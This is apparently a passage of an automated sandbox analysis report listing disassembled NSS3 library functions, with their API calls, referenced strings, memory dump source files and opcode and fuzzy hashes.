Part of subcall function 6C64BE30: SECOID_FindOID_Util.NSS3(6C60311B,00000000,?,6C60311B,?), ref: 6C64BE44

Part of subcall function 6C638500: SECOID_GetAlgorithmTag_Util.NSS3(6C6395DC,00000000,00000000,00000000,?,6C6395DC,00000000,00000000,?,6C617F4A,00000000,?,00000000,00000000), ref: 6C638517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C660CC4

Part of subcall function 6C64FAB0: free.MOZGLUE(?,-00000001,?,?,6C5EF673,00000000,00000000), ref: 6C64FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C660CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C660D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C660D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C660D7D
free.MOZGLUE(00000000), ref: 6C660DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C660DC1
free.MOZGLUE(00000000), ref: 6C660DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C660E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C660E0F

Part of subcall function 6C6395C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C617F4A,00000000,?,00000000,00000000), ref: 6C6395E0
Part of subcall function 6C6395C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C617F4A,00000000,?,00000000,00000000), ref: 6C6395F5
Part of subcall function 6C6395C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C639609
Part of subcall function 6C6395C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C63961D
Part of subcall function 6C6395C0: PK11_GetInternalSlot.NSS3 ref: 6C63970B
Part of subcall function 6C6395C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C639756
Part of subcall function 6C6395C0: PK11_GetIVLength.NSS3(?), ref: 6C639767
Part of subcall function 6C6395C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C63977E
Part of subcall function 6C6395C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C63978E

Strings

-$fl, xrefs: 6C660C64
*,fl, xrefs: 6C660C69, 6C660DE0, 6C660C80, 6C660C8B, 6C660CAF
*,fl, xrefs: 6C660DCC

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,fl$*,fl$-$fl
API String ID: 3136566230-1016299428
Opcode ID: 8da10fd53e3cfa5216d347b5a43cad497d168f53f9439bc3de63fdd0bd74896b
Instruction ID: 7a73995e999bc62a95357d70d800465e1365486ec5471a00d549719c948c52eb
Opcode Fuzzy Hash: 8da10fd53e3cfa5216d347b5a43cad497d168f53f9439bc3de63fdd0bd74896b
Instruction Fuzzy Hash: CD41D0B1900245ABEB009F65DC41BEF76B8AF0230CF104534E91967B41EB35AA58CBEE

Function 6C655CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C655EC0,00000000,?,?), ref: 6C655CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C655CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C655CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C655D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C655EC0,00000000,?,?), ref: 6C655D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C655D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C655D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C655D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C655D80

Strings

extern:, xrefs: 6C655CEA, 6C655D4B
sql:, xrefs: 6C655CD1, 6C655D36
multiaccess:, xrefs: 6C655CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6C655D1A
dbm:, xrefs: 6C655D03, 6C655D60

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: d3877c2d6c4f6764f6a8355ba1ff37bc900ffa2cb24ac3c7c1da3deae3c404f8
Instruction ID: ec5d63a7c86bfc07575b437725b6abe2abc035e72e2d393210ebcf46d546039c
Opcode Fuzzy Hash: d3877c2d6c4f6764f6a8355ba1ff37bc900ffa2cb24ac3c7c1da3deae3c404f8
Instruction Fuzzy Hash: 3E31F4B2641321ABE7006A34CD4DF6637E8AF0234DF740231ED59A7A82FB61D525C29D

Function 6C656CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C721DE0,?), ref: 6C656CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C656D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C656D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C656D82
DER_GetInteger_Util.NSS3(?), ref: 6C656DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C656DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C656E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C656F19
PK11_DigestBegin.NSS3(00000000), ref: 6C656F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C656F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C657011
PK11_FreeSymKey.NSS3(00000000), ref: 6C657033
free.MOZGLUE(?), ref: 6C65703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C657060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C657087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6570AF

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 2790c367a1cf84dffcf1d0c84b8910f2b54d75d0c504ad29a3ecfefdbcf41f40
Instruction ID: bbfdb28f0fdb7e9e37332747007f686ca4be6d8cd546d829ccc143f79178c78b
Opcode Fuzzy Hash: 2790c367a1cf84dffcf1d0c84b8910f2b54d75d0c504ad29a3ecfefdbcf41f40
Instruction Fuzzy Hash: 4EA13AB1A192009BEB008F24DC45B9B32E1DB8131CFB48A39E959CBB81E775D865C75F

Function 6C61AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5FAB95,00000000,?,00000000,00000000,00000000), ref: 6C61AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C5FAB95,00000000,?,00000000,00000000,00000000), ref: 6C61AF39
PR_Unlock.NSS3(?,?,?,6C5FAB95,00000000,?,00000000,00000000,00000000), ref: 6C61AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C5FAB95,00000000,?,00000000,00000000,00000000), ref: 6C61AF69
TlsGetValue.KERNEL32 ref: 6C61B06B
EnterCriticalSection.KERNEL32(?), ref: 6C61B083
PR_Unlock.NSS3(?), ref: 6C61B0A4
TlsGetValue.KERNEL32 ref: 6C61B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C61B0D9
PR_Unlock.NSS3 ref: 6C61B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C61B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C61B182

Part of subcall function 6C64FAB0: free.MOZGLUE(?,-00000001,?,?,6C5EF673,00000000,00000000), ref: 6C64FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C61B177

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C5FAB95,00000000,?,00000000,00000000,00000000), ref: 6C61B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C5FAB95,00000000,?,00000000,00000000,00000000), ref: 6C61B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C5FAB95,00000000,?,00000000,00000000,00000000), ref: 6C61B1C2

Part of subcall function 6C641560: TlsGetValue.KERNEL32(00000000,?,6C610844,?), ref: 6C64157A
Part of subcall function 6C641560: EnterCriticalSection.KERNEL32(?,?,?,6C610844,?), ref: 6C64158F
Part of subcall function 6C641560: PR_Unlock.NSS3(?,?,?,?,6C610844,?), ref: 6C6415B2

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: fd357a4f12e8b734eb1f8644b82b76a1d6658067bab97b03f10fda81950fb894
Instruction ID: 7ab78d2275a51210d642eaa47239a6ea6ea36b0bddad18b45661c80865500a37
Opcode Fuzzy Hash: fd357a4f12e8b734eb1f8644b82b76a1d6658067bab97b03f10fda81950fb894
Instruction Fuzzy Hash: FBA1E3B1E00205AFEF009F68DC41BEA77B4EF49319F104035E905A7B52EB31D959CBA9

Function 6C612C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?al,?,6C60E477,?,?,?,00000001,00000000,?,?,6C613F23,?), ref: 6C612C62
EnterCriticalSection.KERNEL32(0000001C,?,6C60E477,?,?,?,00000001,00000000,?,?,6C613F23,?), ref: 6C612C76
PL_HashTableLookup.NSS3(00000000,?,?,6C60E477,?,?,?,00000001,00000000,?,?,6C613F23,?), ref: 6C612C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C60E477,?,?,?,00000001,00000000,?,?,6C613F23,?), ref: 6C612C93

Part of subcall function 6C69DD70: TlsGetValue.KERNEL32 ref: 6C69DD8C
Part of subcall function 6C69DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C69DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C60E477,?,?,?,00000001,00000000,?,?,6C613F23,?), ref: 6C612CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C60E477,?,?,?,00000001,00000000,?,?,6C613F23,?), ref: 6C612CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C60E477,?,?,?,00000001,00000000,?,?,6C613F23), ref: 6C612CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C60E477,?,?,?,00000001,00000000,?), ref: 6C612CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C60E477,?,?,?,00000001,00000000,?), ref: 6C612D4D
EnterCriticalSection.KERNEL32(?), ref: 6C612D61
PL_HashTableLookup.NSS3(?,?), ref: 6C612D71
PR_Unlock.NSS3(?), ref: 6C612D7E

Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07AD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07CD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07D6
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C57204A), ref: 6C5E07E4
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,6C57204A), ref: 6C5E0864
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5E0880
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,6C57204A), ref: 6C5E08CB
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08D7
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08FB

Strings

#?al, xrefs: 6C612C43

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?al
API String ID: 2446853827-2216037108
Opcode ID: 7d4ec32b8abffb5b1f79f5e1156f806c6d871dfc99299287dc377ebb2381445e
Instruction ID: 9ceb54a1dfe5a13939bd73d270efc1b9b4c136a27e03bd69756a4d675b473a8f
Opcode Fuzzy Hash: 7d4ec32b8abffb5b1f79f5e1156f806c6d871dfc99299287dc377ebb2381445e
Instruction Fuzzy Hash: A151C5B6D00105ABDB00AF28DC4589AB7B8BF1A35DB048535ED1897B11EB31ED58C7D5

Function 6C66AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66ADB1

Part of subcall function 6C64BE30: SECOID_FindOID_Util.NSS3(6C60311B,00000000,?,6C60311B,?), ref: 6C64BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C66ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C66AE08

Part of subcall function 6C64B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7218D0,?), ref: 6C64B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C66AE25
PL_FreeArenaPool.NSS3 ref: 6C66AE63
PR_CallOnce.NSS3(6C752AA4,6C6512D0), ref: 6C66AE4D

Part of subcall function 6C574C70: TlsGetValue.KERNEL32(?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574C97
Part of subcall function 6C574C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574CB0
Part of subcall function 6C574C70: PR_Unlock.NSS3(?,?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66AE93
PR_CallOnce.NSS3(6C752AA4,6C6512D0), ref: 6C66AECC
PL_FreeArenaPool.NSS3 ref: 6C66AEDE
PL_FinishArenaPool.NSS3 ref: 6C66AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66AEF5
PL_FinishArenaPool.NSS3 ref: 6C66AF16

Strings

security, xrefs: 6C66ADEE

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: e79045140532dbf4f9523841b38e2eb1c409cda57e7235dccbc9ec237c4a2a28
Instruction ID: 4a9332975ab8310356433e6383db85e666bfaa211cf0252cede9e2d8f8393f95
Opcode Fuzzy Hash: e79045140532dbf4f9523841b38e2eb1c409cda57e7235dccbc9ec237c4a2a28
Instruction Fuzzy Hash: 93413AB5904320A7EB214A26DC44BBF32A8AF9331CF604525E81592F42FB35DA59C6DF

Function 6C70AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6B9890: TlsGetValue.KERNEL32(?,?,?,6C6B97EB), ref: 6C6B989E

EnterCriticalSection.KERNEL32(?), ref: 6C70AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C70AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C70AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C70AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C70B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C70B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C70B070
PR_JoinThread.NSS3(?), ref: 6C70B07B
free.MOZGLUE(?), ref: 6C70B084
EnterCriticalSection.KERNEL32(?), ref: 6C70B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C70B0C4
PR_JoinThread.NSS3(?), ref: 6C70B0F3
free.MOZGLUE(?), ref: 6C70B0FC
PR_JoinThread.NSS3(?), ref: 6C70B137
free.MOZGLUE(?), ref: 6C70B140

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 70f91b733b1084637ae85153123da2342ae9ddf1cbbc8f4b7b2bedf528eba787
Instruction ID: 8eac034bc4d5020b3b326dd8ab0706ae10a50cf6c20e6e7ffec5ffb3c18df7a8
Opcode Fuzzy Hash: 70f91b733b1084637ae85153123da2342ae9ddf1cbbc8f4b7b2bedf528eba787
Instruction Fuzzy Hash: 95915BB5A00601DFCB00DF14C98484ABBF1FF4A35C72985A9D8195BB22E732FD5ACB95

Function 6C685CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C682BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C682A28,00000060,00000001), ref: 6C682BF0
Part of subcall function 6C682BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C682A28,00000060,00000001), ref: 6C682C07
Part of subcall function 6C682BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C682A28,00000060,00000001), ref: 6C682C1E
Part of subcall function 6C682BE0: free.MOZGLUE(?,00000000,00000000,?,6C682A28,00000060,00000001), ref: 6C682C4A

free.MOZGLUE(?,?,6C68AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685D0F
free.MOZGLUE(?,?,?,6C68AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685D4E
free.MOZGLUE(?,?,?,6C68AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685D62
free.MOZGLUE(?,?,?,?,6C68AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685D85
free.MOZGLUE(?,?,?,?,6C68AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685D99
free.MOZGLUE(?,?,?,?,6C68AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C68AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C68AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C685E3E
free.MOZGLUE(?,?,?,?,?,?,6C68AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C685E47
free.MOZGLUE(?,?,?,?,6C68AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C68AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C685E78
free.MOZGLUE(?,?,?,?,?,?,?,6C68AAD4), ref: 6C685EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C68AAD4), ref: 6C685EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C68AAD4), ref: 6C685F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C68AAD4), ref: 6C685F4B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 387eb1f9aa340692766ffbeabee94fd71aef10f4d4b0a964ea36b24fc677ad59
Instruction ID: 64bf54f31844d02147ac43c4d489d6190d6e7af06802eb41e4be282b5064328a
Opcode Fuzzy Hash: 387eb1f9aa340692766ffbeabee94fd71aef10f4d4b0a964ea36b24fc677ad59
Instruction Fuzzy Hash: F471A0B4A01B019FE710DF24D884A92B7F5BF8A308F148929D85F87711E731F959CB69

Function 6C608DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C608E22
EnterCriticalSection.KERNEL32(?), ref: 6C608E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C608E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C608E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C608E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C608EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C608EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C608EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C608F00
free.MOZGLUE(?), ref: 6C608F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C608F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C608F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C608F5B
PR_Unlock.NSS3(?), ref: 6C608F72
PR_Unlock.NSS3(?), ref: 6C608F82

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 6945bc2c361207076c4bff3a679c958d4cd99c36d715ad17046975bf9d38ccc5
Instruction ID: 08801a233c6d9fe5def1d488ffc89e66b0b113807e03d9da5b9f237acf70d5d4
Opcode Fuzzy Hash: 6945bc2c361207076c4bff3a679c958d4cd99c36d715ad17046975bf9d38ccc5
Instruction Fuzzy Hash: E65139B2F002159FDB04DF68CD889AAB7B9EF49358B14452AEC08AB710E731ED45C7D5

Function 6C62CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C62CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C62CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C62CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C62CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C62CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C62CF2F
